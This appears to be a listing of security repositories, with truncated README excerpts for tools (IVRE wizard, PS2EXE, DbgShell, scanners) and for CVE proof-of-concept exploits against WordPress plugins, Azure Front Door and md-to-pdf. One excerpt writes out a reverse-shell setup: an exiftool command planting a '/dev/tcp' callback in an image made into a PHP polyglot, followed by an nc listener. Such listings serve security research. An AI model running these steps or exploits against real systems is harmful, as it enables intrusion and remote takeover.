ivre-wizard

IVRE . \ ,/ \ |\ / | | //\ | \ /\ | | / | '/ | / /\oo/\ | |/ / | | | | | | /\ // |/,|| ,| Por BitBurner ivre-wizard Un asistente interactivo front-end para IVRE que facilita la creación de escaneos hacia la base de datos. ¿Por qué? Creé este script para realizar escaneos con IVRE...

PS2EXE

AI free repository - artificial intelligence is killing creativity and our nature! PS2EXE Overworking of the great script of Ingo Karstein with GUI support. The GUI output and input is activated with one switch, real windows executables are generated. Compiles only Powershell 5.x compatible...

CVE-2023-24610

CVE-2023-24610 This is a proof of concept for CVE-2023-24610 We start by creating a polyglot file using exiftool: exiftool -Comment="/dev/tcp/172.17.0.1/8888 " avatar.png -o polyglot.php We change the file to png so it will pass the front-end check After that, we start a nc listener on port 8888 ...

WordPress Front End Users - Reflected XSS

WordPress Front End Users plugin = 3.2.32 contains a reflected cross-site scripting caused by lack of sanitization and escaping of a parameter before outputting it in the page, letting attackers execute malicious scripts in the context of high privilege users, exploit requires attacker to craft a...

CVE-2025-47646

CVE-2025-47646 PoC Unauthenticated Privilege Escalation exploit for WordPress PSW Front-end Login Registration Plugin ≤ 1.12 📖 Description This Python script is a proof-of-concept PoC exploit for CVE-2025-47646 , targeting a vulnerability in the WordPress PSW Front-end Login Registration Plugin ≤...

chkdfront

Check Domain Fronting chkdfront chkdfront checks if your domain fronting is working by testing the targeted domain fronted domain against your domain front domain. MMMMMMMMMMMMMWNK0kdolc;,' ;KMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMN0xl;'. lNMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMWKxc'...

DbgShell

DbgShell A PowerShell front-end for the Windows debugger engine. Ready to tab your way to glory? For a quicker intro, take a look at Getting Started. Disclaimers 1. This project is not produced, endorsed, or monitored by the Windows debugger team. While the debugger team welcomes feedback about...

Packer-Fuzzer

Packer Fuzzer 一款针对Webpack等前端打包工具所构造的网站进行快速、高效安全检测的扫描工具 由Poc-Sir、KpLi0rn、Liucy、RachesseHS、Lupin-III荣誉出品 Click here for the English version 👮🏻‍♀️ 免责声明 由于传播、利用Packer Fuzzer工具（下简称本工具）提供的检测功能而造成的任何直接或者间接的后果及损失 ，均由使用者本人负责，Packer Fuzzer开发团队（下简称本团队）不为此承担任何责任 。 本工具会根据使用者检测结果自动生成 扫描结果报告，本报告内容及其他衍生内容均不能代表...

PatrowlManager

Codacy Badge PatrOwl PatrOwl is a scalable, free and open-source solution for orchestrating Security Operations. PatrowlManager is the Front-end application for managing the assets, reviewing risks on real-time, orchestrating the operations scans, searches, API calls, ..., aggregating the results...

what-wordpress

what-wordpress Tool to extract all themes and plugins that are shown on the front page of a wordpress site...

CVE-2026-24306

Azure Front Door Privilege Escalation – CVE-2026-24306 PoC For authorized red team / research use only. Author not responsible for misuse. Vulnerability allows: Arbitrary routing rule injection Backend pool / origin group modification WAF policy attachment / override Custom domain takeover on...

CVE-2025-47646

🔐 CVE-2025-47646 – PSW Front-end Login & Registration = 1.12 📌 Plugin Information Plugin : PSW Front-end Login & Registration Vulnerable Version : = 1.12 CVE : CVE-2025-47646 Severity : High CVSS 9.8 Vulnerability Type : Broken Authentication Privilege Required : Unauthenticated Patched : ❌ No...

CVE-2021-23639

Overview md-to-pdf is a CLI tool for converting Markdown files to PDF. Affected versions of this package are vulnerable to Remote Code Execution RCE due to utilizing the library gray-matter to parse front matter content, without disabling the JS engine. Usage: python3 cve-2021-23639.py targerurl...

BUI-select-xss

BUI-select-xss cve-2018-8108 During a security test, this issue was discovered by chance. BUI is a front-end framework used by many enterprises to build their own front-end applications. Typically, we prevent XSS by treating all user input as untrusted, escaping it during output, and then passing...

CVE-2026-80333

The Solace Extra WordPress plugin before 1.7.2 does not perform any authorization or post-status checks on its front-end preview routes, allowing unauthenticated visitors to read the rendered content of non-published posts and pages of any type that WordPress would otherwise not serve...

CVE-2025-63588

CVE-2025-63588 Cross-Site Scripting XSS Reflejado en el manejo de la ruta cmsimplexh de CMSimpleXH CVSS v3.1 Estimado: AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N → 6.1 Medio CVE Asignado: CVE-2025-63588 Productos: CMSimpleXH - 1.8 Vendor: CMSimpleXH - https://www.cmsimple-xh.org/ Resumen Existe una...

CVE-2025-2005

WordPress FEUP Arbitrary File Upload Exploit CVE-2025-2005 This repository provides a Proof of Concept PoC exploit for the WordPress Front End Users plugin versions up to 3.2.32, which is vulnerable to arbitrary file upload due to missing MIME/file-type validation in its registration form.This...

GO-2026-6517 kcp front-proxy does not strip inbound X-Remote-* identity headers, allowing any authenticated client to inject groups/warrants and impersonate system:masters in any workspace in github.com/kcp-dev/kcp

kcp front-proxy does not strip inbound X-Remote- identity headers, allowing any authenticated client to inject groups/warrants and impersonate system:masters in any workspace in github.com/kcp-dev/kcp...

CVE-2025-2005

CVE-2025-2005 WordPress Front End Users Plugin = 3.2.32 is vulnerable to Arbitrary File Upload WordPress Front-End Users Plugin Exploit Vulnerability Information Plugin Name : Front-End Users Plugin Version Affected : = 3.2.32 Vulnerability Type : Arbitrary File Upload CVSS Score : 10 Critical Ri...

CVE-2025-2005

CVE-2025-2005 — Front-End Users Arbitrary File Upload CVE-2025-2005 WordPress Front-End Users — Unauthenticated Arbitrary File Upload 0xZ3R0 // h4ckxel 0x00 — Executive Summary Front-End Users is affected by an unauthenticated arbitrary file upload vulnerability affecting versions ≤ 3.2.32. The...